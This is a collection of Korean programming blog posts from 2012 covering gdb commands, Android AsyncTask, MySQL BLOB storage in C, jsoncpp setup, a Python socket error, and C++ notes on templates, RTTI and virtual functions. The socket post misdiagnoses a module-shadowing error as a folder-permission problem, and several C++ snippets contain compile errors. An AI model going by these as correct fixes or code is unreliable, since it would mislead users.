    (gdb) print 'main.c'::[변수명]

파일명은 '따옴표' 으로 감싸야한다.

특정 함수에 있는 변수를 확인하기 위해서는

    (gdb) print [함수명]::[변수명]

print 명령어로 변수 또는 레지스터를 확인할 때는 기본적으로 10진수로 출력한다.
이를 다른 형식으로 보고싶을 때는 다음과 같은 방법을 이용한다.

    (gdb) print/t [변수명]    //2진수로
    (gdb) print/o [변수명]    //8진수로
    (gdb) print/d [변수명]    //10진수로 (int)
    (gdb) print/u [변수명]    //부호없는 10진수로 (unsigned int)
    (gdb) print/x [변수명]    //16진수로
    (gdb) print/c [변수명]    //최초 1바이트 값을 문자형으로
    (gdb) print/f [변수명]    //부동소수점값
    (gdb) print/a [변수명]    //가장 가까운 심볼의 오프셋

print 명령어는 값을 보여줄뿐 아니라 값을 설정하는 것도 가능하다.

    (gdb) print [변수명] = [값]

<<화면에 변수의 값을 자동으로 디스플레이하기>>
display 명령어를 이용하면 매 단계가 진행될때마다 자동으로 변수의 값을 출력해준다.

    (gdb) display [변수명]

display 변수를 해제하기 위해서는 undisplay 명령어를 이용한다.

    (gdb) undisplay [N]

display 역시 x,c,o 등등을 이용해 다양한 형태로 출력 가능하다.

Posted by k1rha
2012. 8. 20. 17:30

Thread - Handler 방식은 UI 쓰레드와 스케쥴링같은 효과가 안된다.

때문에 asyncTask 로 구현을 해보기로 결정! 잘되면 이어서 포스팅하겟다. 


[출처 : http://darrysea.tistory.com/25 ]


메니페스트 파일 입니다.
1 <?xml version="1.0" encoding="utf-8"?> 2 <manifest xmlns:android="http://schemas.android.com/apk/res/android" 3 package="com.asynctask" 4 android:versionCode="1" 5 android:versionName="1.0" > 6 7 <uses-sdk android:minSdkVersion="8" /> 8 9 <application 10 android:icon="@drawable/ic_launcher" 11 android:label="@string/app_name" > 12 <activity 13 android:configChanges="orientation" 14 android:label="@string/app_name" 15 android:name=".TestAsyncTaskActivity" > 16 <intent-filter > 17 <action android:name="android.intent.action.MAIN" /> 18 19 <category android:name="android.intent.category.LAUNCHER" /> 20 </intent-filter> 21 </activity> 22 </application> 23 24 </manifest>

가운데 굵게 표시된 부분을 추가해야 한다.
이유는 저렇게 하지 않으면 화면이 회전될때 액티비티가 새로 onCreate를 수행하기 때문에 정상적인 동작이 되지 않는다.
저렇게 해주면 화면모드 전환을 액티비티에서 알아서 하겟다는 의미이다.


main.xml
1 <?xml version="1.0" encoding="utf-8"?> 2 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" 3 android:layout_width="fill_parent" 4 android:layout_height="fill_parent" 5 android:orientation="vertical" > 6 7 <Button 8 android:id="@+id/button1" 9 android:layout_width="match_parent" 10 android:layout_height="wrap_content" 11 android:text="Button" /> 12 13 <ProgressBar 14 android:id="@+id/progressBar1" 15 style="?android:attr/progressBarStyleHorizontal" 16 android:layout_width="match_parent" 17 android:layout_height="wrap_content" 18 android:layout_marginTop="100dp" /> 19 20 </LinearLayout>
 

TestAsyncTaskActivity.java
  1 package com.asynctask;

2 3 import android.app.*; 4 import android.os.*; 5 import android.view.*; 6 import android.view.View.OnClickListener; 7 import android.widget.*; 8 9 public class TestAsyncTaskActivity extends Activity { 10 11 Button btn; 12 ProgressBar pb; 13 14 /** Called when the activity is first created. */ 15 @Override 16 public void onCreate(Bundle savedInstanceState) { 17 super.onCreate(savedInstanceState); 18 setContentView(R.layout.main); 19 20 btn = (Button) findViewById(R.id.button1); 21 pb = (ProgressBar) findViewById(R.id.progressBar1); 22 23 btnEvent(); 24 } 25 26 private void btnEvent() { 27 btn.setOnClickListener(new OnClickListener() { 28 29 @Override 30 public void onClick(View v) { 31 new ExampleAsyncTask().execute("1", "2", "3", "4", "5"); 32 } 33 }); 34 } 35 36 class ExampleAsyncTask extends AsyncTask<String, Integer, Long> { 37 38 @Override 39 protected void onCancelled() { 40 super.onCancelled(); 41 } 42 43 @Override 44 protected void onPostExecute(Long result) { 45 btn.setText("Thread END"); 46 super.onPostExecute(result); 47 } 48 49 @Override 50 protected void onPreExecute() { 51 btn.setText("Thread START!!!!"); 52 super.onPreExecute(); 53 } 54 55 @Override 56 protected void onProgressUpdate(Integer... values) { 57 pb.setProgress(values[0]); 58 super.onProgressUpdate(values); 59 } 60 61 @Override 62 protected Long doInBackground(String... params) { 63 long result = 0; 64 int numberOfParams = params.length; 65 66 for (int i = 0; i < numberOfParams; i++) { 67 SystemClock.sleep(1000); 68 69 publishProgress((int) (((i + 1) / (float) numberOfParams) * 100)); 70 } 71 return result; 72 } 73 } 74 }

다 해준다.
하나하나 살펴보자.
메소드 이름도 직관적이라 참 알아보기 쉽다..

39번줄 취소할때 호출되는 Callback이다.
44번줄 작업이 끝난 후 호출 되는
Callback이다.
50번줄 작업이 시작하기 전에 호출 되는 
Callback이다.
56번줄 UI Update이다.
62번줄 내부에서 하는 작업이다.



Thread / Handler와의 관계를 보자면,
Thread == 62번줄
Handler == 56번줄 + 44번줄
removeCallback == 39번줄


이라고 생각하면 될 듯 하다.


아 참고로
AsyncTask를 사용 할 때는 항상 SubClass로 구현하라는데, 이유는 찾아봐야 할것 같다. 

Posted by k1rha
2012. 8. 20. 02:08

정말 많은 시간을 찾은듯... 이렇게 잘나와 있을 줄은 몰랐음.

---------------------------------------------------------------------------

[출처 http://zetcode.com/tutorials/mysqlcapitutorial/

Inserting images into MySQL database


Some people prefer to put their images into the database, some prefer to keep them on the file system for their applications. Technical difficulties arise when we work with millions of images. Images are binary data. MySQL database has a special data type to store binary data called BLOB (Binary Large Object).

mysql> describe images;
+-------+------------+------+-----+---------+-------+
| Field | Type       | Null | Key | Default | Extra |
+-------+------------+------+-----+---------+-------+
| id    | int(11)    | NO   | PRI |         |       |
| data  | mediumblob | YES  |     | NULL    |       |
+-------+------------+------+-----+---------+-------+
2 rows in set (0.00 sec)

This is the table, that we will use in our example. It can be created by the following SQL statement.

create table images(id int not null primary key, data mediumblob);
#include <my_global.h>
#include <mysql.h>

int main(int argc, char **argv)
{
  MYSQL *conn;

  int len, size;
  char data[1000*1024];
  char chunk[2*1000*1024+1];
  char query[1024*5000];

  FILE *fp;

  conn = mysql_init(NULL);
  mysql_real_connect(conn, "localhost", "zetcode", "passwd", "testdb", 0, NULL, 0);

  fp = fopen("image.png", "rb");
  size = fread(data, 1, 1024*1000, fp);

  mysql_real_escape_string(conn, chunk, data, size);

  char *stat = "INSERT INTO images(id, data) VALUES('1', '%s')";
  len = snprintf(query, sizeof(stat)+sizeof(chunk) , stat, chunk);

  mysql_real_query(conn, query, len);

  fclose(fp);
  mysql_close(conn);
}

In this example, we will insert one image into the images table. The image can be max 1 MB.

 fp = fopen("image.png", "rb");
 size = fread(data, 1, 1024*1000, fp);

Here we open the image and read it into the data array.

 mysql_real_escape_string(conn, chunk, data, size);

Binary data can obtain special characters, that might cause troubles in the statements. We must escape them. The mysql_real_escape_string() puts the encoded data into the chunk array. In theory, every character might be a special character. That's why the chunk array two times as big as the data array. The function also adds a terminating null character.

 
 char *stat = "INSERT INTO images(id, data) VALUES('1', '%s')";
 len = snprintf(query, sizeof(stat)+sizeof(chunk) , stat, chunk);

These two code lines prepare the MySQL query.

 mysql_real_query(conn, query, len);

Finally, we execute the query.

Selecting images from MySQL database

In the previous example, we have inserted an image into the database. In the following example, we will select the inserted image back from the database.

#include <my_global.h>
#include <mysql.h>

int main(int argc, char **argv)
{
  MYSQL *conn;
  MYSQL_RES *result;
  MYSQL_ROW row;

  unsigned long *lengths;
  FILE *fp;

  conn = mysql_init(NULL);
  mysql_real_connect(conn, "localhost", "zetcode", "passwd", "testdb", 0, NULL, 0);

  fp = fopen("image.png", "wb");

  mysql_query(conn, "SELECT data FROM images WHERE id=1");
  result = mysql_store_result(conn);

  row = mysql_fetch_row(result);
  lengths = mysql_fetch_lengths(result);

  fwrite(row[0], lengths[0], 1, fp);
  mysql_free_result(result);

  fclose(fp);
  mysql_close(conn);
}

In this example, we will create an image file from the database.

 fp = fopen("image.png", "wb");

We open a file for writing.

 mysql_query(conn, "SELECT data FROM images WHERE id=1");

We select an image with id 1.

 row = mysql_fetch_row(result);

The row contains raw data.

 lengths = mysql_fetch_lengths(result);

We get the length of the image.

 fwrite(row[0], lengths[0], 1, fp);

We create the image file using the fwrite() standard function call.

Posted by k1rha
2012. 8. 19. 03:52

char * buff = const_cast<char *>(test.c_str());


의 형태로 c_str() 를 통해 변환이 가능하다.


Posted by k1rha
2012. 8. 19. 02:51

jsoncpp 를 다운받아서 libsjon 을 빌더한다.

그러면 라이브러리가 생겨난다. 그걸 프로젝트에 적당한 곳에 복사하고 라이브러리 디렉토리 경로로 등록해준다. 


그리고 아래와같이 json 폴더도 적당히 복사해와서 헤더로 링크 걸어주면된다.


그렇필요 가 없다는 것을 찾았다.


아래그림을 보게되는데 JOSNCPP 의 구성방식이다.

우리는 JSON 폴더만 살포시 자신의 프로젝트 폴더로 가져와서 include 시켜주면 바로 사용이 가능하다.


참간단한건데 의외로 엄청난 삽질을 햇다. 



사용은 json에 있는 json.h를 include해서 사용한다.

  1. #include <json/json.h>

 

json.h

  1. #include "autolink.h" -> config.h
    #include "value.h" -> forwards.h
    #include "reader.h" -> features.h , value.h
    #include "writer.h" -> value.h
    #include "features.h" -> forwards.h






그리고 간혹 JSONCPP 라이브러리 충돌이 난다는 메시지가 뜰대가 있는데 필자는 이걸로 엄청난 시간을 삽질했다.


http://stackoverflow.com/questions/4917592/compiling-and-using-jsoncpp-on-visual-studio10-with-boost


결국엔 스택오버플로우사이트에서 해답을 찾앗다.

  • Multithreaded (/MT)
  • Multithreaded DLL (/MD)
  • Multithreaded Debug (/MTd)
  • Multithreaded Debug DLL (/MDd)

디버깅모드는 위와같이 4가지가 있는데 JSON 라이브러리는 활성 모드와 디버그 모드가 동일하게 디버깅 모드가 동작하고 있어야 하며 JSON 라이브러리에서는  /MT 시리즈를 선호한다.





Posted by k1rha
2012. 8. 17. 11:37

root@ubuntu:~/k1rha/python/http# python blind.py

Traceback (most recent call last):

  File "blind.py", line 1, in <module>

    import urllib.request

  File "/usr/lib/python3.2/urllib/request.py", line 88, in <module>

    import http.client

  File "/usr/lib/python3.2/http/client.py", line 69, in <module>

    import email.parser

  File "/usr/lib/python3.2/email/parser.py", line 12, in <module>

    from email.feedparser import FeedParser

  File "/usr/lib/python3.2/email/feedparser.py", line 27, in <module>

    from email import message

  File "/usr/lib/python3.2/email/message.py", line 17, in <module>

    from email import utils

  File "/usr/lib/python3.2/email/utils.py", line 28, in <module>

    import socket

  File "/root/k1rha/python/http/socket.py", line 7, in <module>

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

AttributeError: 'module' object has no attribute 'AF_INET'

root@ubuntu:~/k1rha/python/http# 

위와같인 에러가 떴을때 아래와 같은 결과를 얻을수 있었다. 

h I found the problem, it seems I cant run socket things from my home folder ... I moved the script into a new folder and it worked.

Thanks.


즉 폴더에 소켓생성권한이 없기떄문에 다른 폴더로 옮겨 실행했다는 내용이다 필자도 비슷하게 해결봄.

Posted by k1rha
2012. 8. 17. 10:53


ILedService.h


서버1.cpp


서버2.cpp


클라이언트1.cpp


클라이언트2.cpp


클라이언트3.cpp


위파일들은 헤더를 기준으로 서버1 -> 에서 좀더 객체지향적인 서버 2가 완성되었고

클라이언트도 1-> 2 -> 3 순서로 수정되어 같은 역할을 하는 것을 좀더 OCL 에 맞추어 개발하는 방향이다.

완성코드는 아래와 같다.


========================================== [ Server ]=================================================


#include<Windows.h>

#include<iostream>

#include<conio.h>


using namespace std;

void binder_loop(void (*handler)(int,int ,int))

{


//여기서 바인더 드라이버를 Open 해서 Client 에서 오는 event를 대기합니다.

//우리는 윈도우 메세지로 흉내 내도록 하겟습니다.

while(1)

{

MSG msg;

GetMessage(&msg,0,0,0);

handler(msg.message,msg.wParam,msg.lParam);


}

}


//---------------------------------------------------------

void Ontransact(int code, int param1, int param2)

{

switch(code)

{

case 5: cout << "LED ON" <<endl; break;

case 6: cout << "LED OFF" << endl; break;

}

}


DWORD __stdcall ServerMain(void *)

{

cout << "서버시작"<< endl;

binder_loop(Ontransact);

return 0;


}

================================== [ Client ] ===================================================

#include<Windows.h>

#include<iostream>

#include<conio.h>

#include "ILedService.h"


using namespace std;


DWORD ServerID=0;


DWORD __stdcall ServerMain(void *);

//---------------------------------------------------------------

//안드로이드가 제공해주느 함수 부분

void binder_call(int code, int param1, int param2)

{


PostThreadMessage(ServerID,code,param1,param2);


}


class IBinder

{

public:

void transact(int code, int param1, int param2){

binder_call(code,param1, param2);


}

};

//서비스 이름을 인자로 받아서 해당 서비스와 통신하기 위한 바인더를 만들어주는 

//함수


IBinder * getService(char *name )

{

//드라이버를 오픈해서 통신할 수 있는 바인더를 만들어 리턴

return new IBinder;

}

class BpRefBase

{

private :

IBinder *mRemote;

public :


BpRefBase(IBinder *p) : mRemote(p) {}

IBinder * remote() { return mRemote;}


};

//proxy 제작시 - 다중 상속을 단일 상속화 한다.

template<typename INTERFACE>

class BpInterface : public INTERFACE ,public BpRefBase

{

public :

BpInterface(IBinder *p) : BpRefBase(p){} //주의!

};


template<typename INTERFACE> INTERFACE * interface_cast(IBinder *p){

return INTERFACE::asInterface(p);


}


//--------------------안드로이드 제공소스 끝 ---------------------------------

// 이제 바인더를 바로 사용하지 말고 함수 호출처럼 변경하는 클래스를 제공합니다

//

//Proxy : 함수 호출 -> RPC 코드 변경 하는 역할.

//

class BpLedService : public BpInterface<ILedService>

{

public :


BpLedService(IBinder * p) : BpInterface<ILedService>(p){}


//////////////////////////////////////////////////////////

// void LedOn(){remote()->transact(5,0,0);}

// void LedOff(){remote()->transact(6,0,0);}

// 위의 경우는 어느게 ledOn인자 LedOFF인지 숫자를 외워야한다...

// 때문에 pLed를 만든다

//////////////////////////////////////////////////////////

void LedOn(){remote()->transact(5,0,0);}

void LedOff(){remote()->transact(6,0,0);}

};


//이제 proxy 제작자는 proxy 클래스를 제공한후 반드시 asInterface 구현부를 

// 제공하기로 약속 한다.

//

ILedService * ILedService ::asInterface(IBinder *svc){

return new BpLedService(svc);

}

void ClientMain(){


IBinder * svc = getService("LedService");

//이제 바인더를 바로 사용하지 말고 __ 로 변경해서 사용합니다.

//BpLedService *pLed = new BpLedService(svc); //강한 결합

//ILedService * pLed = ILedService::asInterface(svc);//약한 결합


ILedService * pLed = interface_cast<ILedService>(svc); // 약한결합을 간지나게 바꿈 

//바인더를받아 스테틱 캐스팅느낌으로...(사실은 프락시)



while(1)

{

// getch(); svc->transact(5,0,0);

// getch(); svc->transact(6,0,0);

getch(); pLed->LedOn();

getch(); pLed->LedOff();

}


}


int main()

{

CreateThread(0,0,ServerMain,0,0,&ServerID);

Sleep(1000);

ClientMain();

getch();

}




Posted by k1rha
2012. 8. 16. 17:46

#include<iostream>


using namespace std;



///////////////////////////////////////////////////////////////////

// perfect forwarding (완벽한 전달자 문제)

////////////////////////////////////////////////////////////////////


void foo(int &a){

a+=10;

cout << "foo" << endl;

}

void goo(int a){cout << "GOO " << endl;}



//함수를 호출해주는 도구 - 바인더가 결국 함수를 가지고 있다고 다시 호출해

// 주는 것입니다.

//

template<typename F, typename ARG> void Caller(F f,const ARG &a)  //함수도 전달되고 상수도 전달되는 퍼팩트 포워딩법

{


f(a);

}


int main(){

//goo(10);

Caller(goo,10);

}


/*

int main(){

int a= 10;

//foo(a);

Caller(foo,a);

cout << a <<endl;

}


*/








Posted by k1rha
2012. 8. 16. 14:57

#include<iostream>


using namespace std;


///////////////////////////////////////////////////////////////////////////////////////////////////////////

// traits 이야기

// 1.Traints : T의 특질(특성)을 조사하는 기술 ...(template 에서 특성에 따라 받아들임이 다름을 이용하는 기술

// primary template 에서 false 를 리턴 (enum 상수가 false)

//

//////////////////////////////////////////////////////////////////////////////////////////////////////////

//


template<typename T> struct my_is_array

{

enum {size=-1}; 

enum {value = false};

};

template<typename T,int N> struct my_is_array<T [N]>

{

enum {size =N};

enum {value =true};

};

template<typename T> void foo(const T& a)

{

if(my_is_array<T>::value)

cout<<"배열 입니다" << my_is_array<T>::size <<endl;

else

cout<<"배열이 아닙니다" << endl;


}

/*

template<typename T>struct my_is_pointer

{

enum{ value = false};

};

template<typename T>struct my_is_pointer<T*>

{

enum{ value = true};

};


template<typename T>void foo(const T& a)

{

if(my_is_pointer<T>::value)

cout<< "T는 포인터 입니다"<<endl;

else

cout<<"T는 포인터가 아닙니다." << endl;


}


*/

/*

template<typename T> T Max(T a, T b)

{

//return 은 주소 비교를 할수 없기때문에.. 좀더 if 문을 넣어 똑똑하게 만들자

if(T is Pointer)

return *a < *b ? b : a;

return a< b ? b : a;


}

*/


int main()

{

//int x = 10, y = 20;

/*

Max(x,y);

Max(&x, &y);

*/


int x = 0;

int y[19];

foo(x);

foo(y);


}

Posted by k1rha
2012. 8. 16. 11:47

#include<iostream>

using namespace std;


///////////////////////////////////////////////////////////////////////////////////////

// 클래스 템플릿의 멤버 함수 템플릿이 사용되는 대표적인 경우

// 1. complex 를 템플릿으로 설계하는 이유 

// 2. T a = T(); => zero initialize : T 가 포인터 또는 빌트인 타입이면 0

// User 타입이면 디폴트 생성자로 초기화

//

//

////////////////////////////////////////////////////////////////////////////////////////


template<typename T>class complex{


T real;

T image;


public:

complex(int a =T() , int b=T()) : real(a), image(b){}

//  Template 복사 생성자!!

// "U 가 T로 복사 될수 있을때 complex<U> 는 complex<T>로 복사 될 수 있어야 한다.

///

template<typename U>complex(const complex<U> & c) : real(c.real), image(c.image)

{


}

template<typename > friend class complex;

};


int main(){

// so <Dog> p1 = new Dog;

// sp <Animal> p2 = p1;  //template 복사 생성자가 있어야 한다.

//  



complex<int> c1(1 , 2);

complex<int> c2 = c1; //복사 생성자!! 

complex<double> c3= c1;



}

Posted by k1rha
2012. 8. 16. 11:45

#include<iostream>


using namespace std;


// 1. stack Vs stack<T>

//


template <typename T> class Stack

{


public : 

// 다음중 생성자로 맞는것은?

Stack() {} //1

Stack() { } //2


//다음중 복사 생성자로 맞는 것은? 


Stack(const Stack &s){} //1  클래스 안에서는 이 표현도 허용된다.

Stack(const Stack<T>& s){} // 2 OK 정확한 표현?! 


//멤버 함수의 외부 구현

void push(const T& a);

//클래스 템플릿의 멤버 변수  함수 템플릿


template<typename U> T foo(U a);

};

template<typename T >void Stack<T>::push(const T& a){

}


template <typename T> template<typename U> stack<T>::foo (U a){}


int main(){


//Stack s1;  //error Stack 은 타입이 아니라 template 이다.

Stack<int> s2;  // OK stack<int> 는 타입이다.


}

Posted by k1rha
2012. 8. 16. 11:44

#include<iostream>

using namespace std;

///////////////////////////////////////////////////////////////////////////////////////

//함수 템플릿 이야기

// 함수 인자 값으로 받으면 : 배열 -> 포인터  함수-> 함수 포인터로 변경하여 전달된다. 

// 이러한 현상을 Decay 라고 부른다.

///////////////////////////////////////////////////////////////////////////////////////


/*

template<typename T>void foo(T a){

//template<typename T>void foo(T& a){ //참조로 받으면 정확한 타입이 넘어온다

//참조냐? 값이냐에 따라 달라진다.


//template 에서는 가상함수가 없어도 빌트인 타입이 없어도 typeid()사용이 가능합니다.

cout << typeid(a).name() << endl;


}


int main(){

int n =10;

int x[10];


foo(n); // T-> int

foo(x);  // int *

foo("apple"); // const char *

foo(main); //int (*)()


}

*/



template<typename T> void foo(const T& a, const T& b)

//template<typename T> void foo(const T a, const T b)

{


}


///아래와 같이 따로 받는것이 나을수도 있따.

void foo(const char *s1, const char * s2)

{

}


int main()

{

foo("orange","apple"); // 함수 찾는 순서

//1. 정확한 타입이 있으면 찾는다

//2. 변환 가능 타입이 있으면 찾는다.

//3. template 버전을 사용한다.


}



Posted by k1rha
2012. 8. 16. 10:55

#include<iostream>


using namespace std;

///////////////////////////////////////////////////////////////////////////////////////

//RTTI 를 직접 구현해보자.

//결국 type_info 는 클래스당 1개의 static 멤버 data 이다.

//type_info 역할의 클래스를 설계하자.

////////////////////////////////////////////////////////////////////////////////////////


struct CRuntimeClass

{

string name; //클래스 이름을 관리


};


// 이제 아래처럼 약속하자! (RTTI 를 직접 구현해보자!!) 

//1.  모든 클래스에는 CRuntimeClass 가 정적 멤버로 있어야 한다.

//2.  이름은 "class클래스 이름 " 으로 약속하자.

//3.  정적 멤버를 리턴하는 가상함수 GetRuntimeClass()를 만들기로 하자.

//


class CObject 

{

public:

static CRuntimeClass classCObject;

virtual CRuntimeClass * GetRuntimeClass() { return &classCObject;}


};

CRuntimeClass CObject::classCObject = {"CObject"};


class CWnd : public CObject{


public :

static CRuntimeClass classCWnd;

virtual CRuntimeClass * GetRuntimeClass() { return &classCWnd;}


};


///////////////////////////////////////////////////////////////

// 여기부분에서 virtual 이므로 재정의 하게 된다

// CObject 타입에 CWnd 를 넣으면 vitual table 의 포인터를 동적으로 참조하므로

// CWnd 함수로 된 것이 호출된다. 이로써 CObject 를 오버라이딩한듯한 효과를 이룬다.

//////////////////////////////////////////////////////////////

CRuntimeClass CWnd::classCWnd = {"CWnd"};


void foo(CObject *p){

// p 가 CWnd 인지 조사해보세요

//

if(p->GetRuntimeClass()== &CWnd::classCWnd )

{

cout << " p 는 CWnd 입니다 " <<endl;

}

}

int main(){


CWnd w; 

foo(&w);

}



////////////////////////////////////////////////////////////////////////////////


Posted by k1rha
2012. 8. 16. 10:54

#include<iostream>


using namespace std;


//////////////////////////////////////////////////////////////////////

// RTTI 이야기

// 1. 가상함수 테이블로 관리되는 type_info 를 얻어서 조사한다.

// 2. typeid(*p) == typeid(Dog) 로 조사한다.

// 3. Dog *p1 = dynamic_cast<Dog *>(p); C# Dog p1 = p as Dog;

//

//

/////////////////////////////////////////////////////////////////////

/*

class Animal{


public:

virtual ~Animal(){}

};


class Dog : public Animal

{


};


void foo(Animal *p) // 모든 동물이 전달 될 수 있다.

{

//ㄹ/결국 아래 코드 표현을 사용하면됩니다.

if(typeid(*p) == typeid(Dog)){

}



 //모든 동물에 공통된 일을 하겠습니다.

 // 그런데 혹시 P가 Dog 라면 다른 일도 하고싶다!

 //P가 Dog 인지 알고싶다 - Run Time Type Information : RTTI 

 //

 //가상 함수 테이블로 관리되는 type_info를 얻어낸다.

const type_info& t1 = typeid(*p);  //typeid (객체)

const type_info &t2 = typeid(Dog); //typeid(클래스 이름)

cout  << t1.name() << endl;


if(t1==t2){

cout << " p는 Dog 입니다."<<endl;


}

cout << t1.name()<<endl;


}


int main(){


Animal a; foo(&a);

Dog d; foo(&d);


}

*/




class Animal{


public:

virtual ~Animal(){}

};


class Dog : public Animal

{


};

void foo(Animal *p){

//Dog *p1 = static_cast <Dog *> (p); //Down cast (부모를 자식포인터로 캐스팅) 을 조사못한다.


//Dog *p1 = dynamic_cast<Dog *>(p); //Down cast 발생시 0이 된다.



cout << p1 << endl;

}

int main(){

Animal a; foo(&a);

Dog b; foo(&d);

}


Posted by k1rha
2012. 8. 16. 09:58

#include<iostream>


using namespace std;;



///////////////////////////////////////////////////////////////

// 가상 소멸자 이야기

// 1. 결론 : 모든 부모의 소멸자는 반드시 가상이어야 한다.

// 어제배운 모든 인터페이스(Ivalidator 등) dp qksemtl rktkd thaufwkfmf cnrkgodigksek.

// 

//////////////////////////////////////////////////////////////

/*

//1.

class Base{

//아래와 같은 문제를 해결하기 위해서 소멸자를 넣어야한다.

//virtual ~Base(){}

};


class Derived : public Base{


public:

Derived() { cout<< " 메모리 할당 " << endl;}

~Derived() {cout << "메모리 해지 " << endl;}


};


int main(){


Base *p = new Derived;

delete p;  //type 이 Base 이기 떄문에 소멸자가 가상함수가 아니라면 P의  타입만 가지고 소멸자 호출.

// 결정한다. static binding.



}

*/


//실행해보세요



/*

//12.

class Base{

//아래와 같은 문제를 해결하기 위해서 소멸자를 넣어야한다.

//virtual ~Base(){}

protected:

~Base{} // 가상 소멸자의 오버헤드를 없애는 기술

//부모 타입으로는 절대 delete 하지말라는 철학.


};


class Derived : public Base{


public:

Derived() { cout<< " 메모리 할당 " << endl;}

~Derived() {cout << "메모리 해지 " << endl;}


};


int main(){


Base *p = new Derived;

delete p;  //type 이 Base 이기 떄문에 소멸자가 가상함수가 아니라면 P의  타입만 가지고 소멸자 호출.

// 결정한다. static binding.


delete static_cast<Derived *>(p);


}

*/


Posted by k1rha
2012. 8. 16. 09:56

#include <iostream>

using namespace std;

/*

class Base

{

int a;


public: inline virtual void foo(){}

virtual void goo(){}

virtual void hoo(){}


};


class Derived : public Base{

int b;

public : 

virtual void foo(){}

};

int main(){


Base b; cout << sizeof(b)<<endl;

Derived d; cout << sizeof(d)<<endl;  

//////////////////////////////////////////////////////////

/// 가상함수 테이블로 인해 4바이트가 늘어난다.

///////////////////////////////////////////////////////////


Base *p = &d;

p->foo();  //*p 가 가르키는 곳을 따라가면 .. goo가 있을 것이다.. 그중에 첫번째 를 호출해 달라.. *p[1]()

//가상 함수의 장점 : 실행 시간 다형성을 얻을 수 있다.

// 단점  : (1) 가상함수 테이블 때문에 메모리 부담. MFC가 이 부담을 없애기 위해 메세지 맵 도입

// (2) 실제 객체의 크기보다 4바이트 더 필요하다. - 약간의 메모리 부담

// (3) 함수 호출시 간접 호출에 따른 속도의 부담

// (4) 인라인 치환이 불가능해서 성능의 부담..

//

// 



}*/

////////////////////////////////////////////////////////////////////////////////


#include<iostream>

using namespace std;


/////////////////////////////////////////////////////////

// 가상함수 이야기 2 

// 가상함수는 실행시간에 어느 함수인지가 결정된다.

// 디폴트 인자는 : 컴파일러가 한다.

// 가상함수에서는 되도록이면 디폴트 인자를 사용하지 말자!.

//

//////////////////////////////////////////////////////////

/*

class A{

int x;

public :

virtual void foo(){ cout << "1" << endl;}

};


class B{

int y;

public:

virtual void goo(){ cout<< "2"<<endl;}

};


int main(){


A a;

B* p = reinterpret_cast<B*>(&a); 

p->goo();


//////////////////////////////////////////////////////////////

//A와 B에 virtual 을 넣었을때와 뺏을떄의 결과값이 다르다.. 왜?!

// 가상함수는 포인터의 개념이기 떄문에, 

// 가상함수가 없을떄는 static binding 을 통해 메모리가 정해지지만

// 가상함수를 넣어줌으로써 dynamic binding 을 통해 상대적으로 가르치고 있는곳을 가르킨다.

////////////////////////////////////////////////////////////////////


}*/

/*

class A{

public :

virtual void foo(int a=10){cout << "1: "<< a<<endl;}

};

class B : public A{  // 이번엔 상속을 봐보자.

public :

virtual void foo(int a=20){cout << "2: "<< a<< endl;}

};

int main(){


A *p = new B;

p->foo(); //실행하지 말고 결과 예측?!

//2 : 10  이나온다..ㅠㅠ 

//컴파일시에는 a가 초기화 되고 , 실행시는 함수포인터가 결정된다

//즉 결과는 *p[1](10) 이 나온다.

}

*/

//////////////////////////////////////////////////////////////////////////////////////////////////

Posted by k1rha
2012. 8. 15. 17:54

#include<iostream>

#include<functional>

using namespace std;

using namespace std::placeholders;



//Dialog 복사해오세요


void foo(int a) { cout << "foo" << a<< endl;}

void goo(int a, int b, int c){ cout<<"goo"<< a<<b<<c <<endl;}


//범용적 함수 포인터 - function

//

class Dialog{

public : 

void Close(){cout<<"Dialog.. Close"<<endl;}

};

int main(){



function<void(int)> f = &foo;

f(1);

//f = &goo; //3개의 이자값을 1개로 대입할수 없다

f = bind(&goo,1,_1,9);

f(3);


function<void()> f2 = bind(&foo,5);

f2();


Dialog dlg;

f2=bind(&Dialog::Close,&dlg);

f2();


}


Posted by k1rha
2012. 8. 15. 15:56

#include<iostream>

using namespace std;


////////////////////////////////////////////////////////////////////////////////////////

// 추상클래 스이야기

// 순수 가상함수가 1개 이상인 클래스

// 강제로 자식에서 특정 함수를 만들라고 지시하는 것!!! 

//

//

////////////////////////////////////////////////////////////////////////////////////////




class Shape{


public : 

virtual void Draw() = 0; //순수 가상함수  구현이 없다.

};

class Rect : public Shape  //Draw()의 구현을 제공하지 않았으므로 추상 클래스 이다.

{


};

int main(){

Shape s; //구현부가 없으므로 에러가 뜬다 // 추상클래스는 객체를 만들 수 없다.

Rect r;  // 에러가 뜬다 사용하고 싶다면 draw()를 만들어야 한다!

}


=========================================================================================

인터페이스의 탄생배경

========================================================================================

#include<iostream>

using namespace std;


// 강한결합 (tightly coupling) : 하나의 클래스 다른 클래스의 이름을 직접 사용 하는것...

// //교체 불가능 경직된 디자인

//스마트폰 제조사와 사람사이ㅔ서의 계약서 (규칙, 인터페이스)를 만들자!

// 모든 스마트폰은 아래 클래스의 자식으로 만들어야 한다.

//

// 약한 결함 (loosly coupling) : 하나의 클래스가 다른 클래스를 사용할떄  부모인 추상클래스를 사용하는 

// //접근법! 교체가능한 설계, 유연한 디자인의 핵심!! 


#define interface struct 

interface ISmartPhone{

public : 

virtual void Calling(char *no) = 0;

//더욱이 인터페이스는 한가지 일만하는게 좋다. 모든 스마트폰의 엠피3기능이 있는것은 아니므로 여러개의 interface를 구현하는게 맞다.

}

interface Mp3function{

public : 

virtual void music(char *no) = 0;

//더욱이 인터페이스는 한가지 일만하는게 좋다. 모든 스마트폰의 엠피3기능이 있는것은 아니므로 여러개의 interface를 구현하는게 맞다.

}



//규칙이 있으므로 진짜 스마트폰이 없어도 사용하는 코드를 먼저 만들 수 있다.

//규칙대로만 사용하면 된다!! 

//


class People{


public :

void UsePhone( ISmartPhone * p ) { p->Calling("010-111-2222");}


};


//이제 모든 스마트폰은 ISmartPhone의 자식이라는 규칙만 지키면된다.




//상송이란 개념을 물려받는 개념... 

//때문에  인터페이스의 경우는   인터페이스를 구현해야 한다 라고 표현한다.

class GallexyS : public ISmartPhone{


public :

void Calling(char *no) { cout << "Calling with GallexyS" << endl;}


};


class GallexyS2: public ISmartPhone, public Mp3function{ //s2는 음악까지됨 


public :

void Calling(char *no) { cout << "Calling with GallexyS2" << endl;}


};

/*


class People{


public :

void UsePhone(GallexyS *p){p->Calling("010-9179-3197");}

void UsePhone(GallexyS2 *p){p->Calling("010-9179-3192");}

};

*/


int main(){


People p;

GallexyS s;

p.UsePhone(&s);

